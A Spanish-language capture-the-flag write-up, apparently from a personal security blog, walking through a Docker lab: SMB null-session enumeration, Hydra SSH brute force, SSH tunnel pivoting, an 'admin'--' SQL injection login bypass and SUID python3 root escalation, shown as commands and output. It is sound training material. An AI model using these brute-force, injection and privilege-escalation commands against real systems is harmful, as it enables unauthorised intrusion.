Inicio
Proyectos
Ver todos Laboratorio SOC
Blog
Tutoriales
Ver todos Servidor LDAP Servidor Web AWS Kubernetes Pandora FMS Descargar VM Fortinet Autenticación LDAP Gophish
CTF
Ver todos Lab 1 — vsftpd + Pivoting Lab 2 — SMB + SQLi + SUID Lab 3 — Upload + Doble Pivot Lab 4 — Doble Pivot Real
Portfolio Consultoría

Lab 2 — SMB Null Session + SQLi + SUID Privesc

Estos laboratorios están montados en contenedores Docker configurados para ello.

Laboratorio SMB SQL Injection SUID Pivoting Completado 18 Mar 2026 ↓ Descargar Lab

Escenario con múltiples vectores encadenados: enumeración SMB anónima, brute force SSH con Hydra sobre lista dirigida, pivoting con túnel SSH manual hacia la red interna, bypass de login mediante SQL Injection y escalada de privilegios aprovechando SUID en python3.

0

Topología del laboratorio

Ubuntu — atacante -> PIVOT (corp-jumpbox - 172.21.10.5/172.21.20.2) -> TARGET (corp-webserver - 172.21.20.15)
1

Reconocimiento — nmap + SMB

nmap -sV -sC -p 22,139,445 172.21.10.5
Servicios: SSH (22), NetBIOS (139), SMB (445)
Workgroup: CORP

Con SMB en el pivot, intentamos una null session para enumerar shares y usuarios.

# Listar shares sin credenciales:
smbclient -N -U "" -L \\172.21.10.5

# Conectar al share público:
smbclient -N -U "" \\\\172.21.10.5\\public
smb> get network_info.txt
network_info.txt reveló:
Red interna: 172.21.20.0/24
Web server: 172.21.20.15 (HTTP:80, SSH:22)
Web admin user: webadmin
2

Enumeración de usuarios SSH + Brute Force

El archivo de loot mencionaba webadmin como usuario del servidor web pero no del pivot. Se intentó enumerar usuarios via RID cycling con enum4linux sin éxito. Se construyó una wordlist dirigida basada en el contexto del servidor (jumpbox corporativo).

⚠️ Lección aprendida: Un brute force ciego con millones de combinaciones no es viable (estimado 4000+ horas). La información ya obtenida debe guiar la selección de usuarios candidatos.
# Wordlist de usuarios contextual (12 entradas):
sysadmin, admin, administrator, corp, jumpbox,
operator, netadmin, itadmin, helpdesk, support, ubuntu, corpuser

hydra -L users.txt -P passwords.txt ssh://172.21.10.5 -t 4 -V
Credenciales encontradas: sysadmin : sysadmin123
3

Pivoting — Túnel SSH Manual

En lugar de usar el portfwd de Meterpreter (que presentó problemas con HTTP/1.0), se optó por un túnel SSH directo, más estable para tráfico web.

# Establecer túnel SSH local:
ssh -L 9191:172.21.20.15:80 [email protected]

# Puerto 9191 en Kali ahora apunta al servidor web interno
# Acceder desde el navegador o curl:
curl http://127.0.0.1:9191/
Sintaxis general del túnel SSH:
ssh -L [PUERTO_LOCAL]:[IP_TARGET_INTERNO]:[PUERTO_TARGET] [USUARIO]@[IP_PIVOT]
4

SQL Injection — Bypass de Login

El portal interno presentaba un formulario de login estándar. Se identificó que el servidor era vulnerable a SQL injection en el campo username mediante el payload clásico de bypass de autenticación.

# Payload SQLi bypass:
username: admin'--
password: cualquiercosa

# Con curl:
curl -X POST -d "username=admin'--&password=x" \
  http://127.0.0.1:9191/login -o response.html
Acceso al panel de admin: el bypass funcionó porque la query SQL resultante comenta la validación de password:
SELECT * FROM users WHERE user='admin'-- AND pass='...'

Credenciales SSH obtenidas del panel: webadmin : w3badm1n!
5

Acceso SSH al Target

Con las credenciales extraídas del panel de administración, accedemos directamente al servidor interno. El tráfico SSH también pasa por el túnel o por el autoroute de Meterpreter si está activo.

ssh [email protected]
# password: w3badm1n!

whoami     # webadmin
cat /home/webadmin/hint.txt
# Pista: busca binarios con SUID
6

Escalada de Privilegios — SUID python3

Siguiendo la pista del hint, buscamos binarios con el bit SUID activo.

find / -perm -4000 -type f 2>/dev/null
SUID encontrado: /usr/bin/python3.10

Un binario con SUID ejecuta con los privilegios del propietario (root) independientemente del usuario que lo lance. Python3 permite llamar directamente a la syscall execl para reemplazar el proceso por una shell.

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami   # root
cat /root/flag.txt
🚩 FLAG: FLAG{SQLi_pivot_pwn3d_eJPT_pr0!}

Conclusiones y aprendizajes


Volver a CTF & Labs.